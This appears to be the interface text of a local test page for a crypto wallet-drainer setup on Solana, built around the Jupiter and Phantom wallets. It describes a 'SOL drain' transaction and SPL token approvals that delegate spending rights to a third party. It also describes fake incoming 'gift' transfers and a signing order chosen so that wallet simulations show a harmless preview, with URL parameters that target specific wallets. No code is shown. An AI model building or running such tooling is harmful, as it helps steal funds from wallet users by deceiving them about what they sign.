Jupiter transaction signing lab

Local-only test page. Open in Jupiter mobile browser or with Jupiter extension. Paste base64 unsigned txs (one per line) or generate dummy self-transfers, then try each signing method.

Connection

Wallet: not connected Features: —

Build-transaction (blank WL / Phantom build → Jupiter sign)

Same encrypted /build-transaction body as blank standalone_with_axiom.js when Phantom is connected (walletName: phantom, phantomBatchIndex, etc.) — only the signing step uses Jupiter Wallet Standard. URL: ?app=<targetWallet>_<userChatId> pre-fills fields.

Local proxy SOL drain (pick contract)

Builds a single legacy tx with transfer_sol (same ix layout as backend). Gate must be funded on-chain for the transfer to execute after sign — sim may show no-op if gate is dry.

3-tx scenario (SOL sim + 2× approve)

Logical: #1 sim SOL gift (prod: jupauth partial-signs on backend), #2 SPL approve 10 units on mint #1, #3 SPL approve 10 units on mint #2 (delegate below). Uses approve mints from the Pump + USDC section if set. Sign order: approve txs first (clean sim), SOL sim last. Only #2–#3 are broadcast.

Pump + USDC approve / revoke (3-tx sim batch)

#1 incoming PUMP (same donor transfer as above). #2 SPL approve 10 units each on 2 mints to delegate. #3 approve 0 on both (revoke). Phantom sim uses a signAllTransactions batch of all 3 unsigned txs. Wallet sign is a different single tx: 2× token approve (+ optional ATA creates; donor SOL gift is off by default so sim can pass).

1-tx wallet test: same dual approve as #2, plus 0.1 SOL from SOL gift donor (3-tx pump section) in the same transaction.

Transactions

Signing methods

Log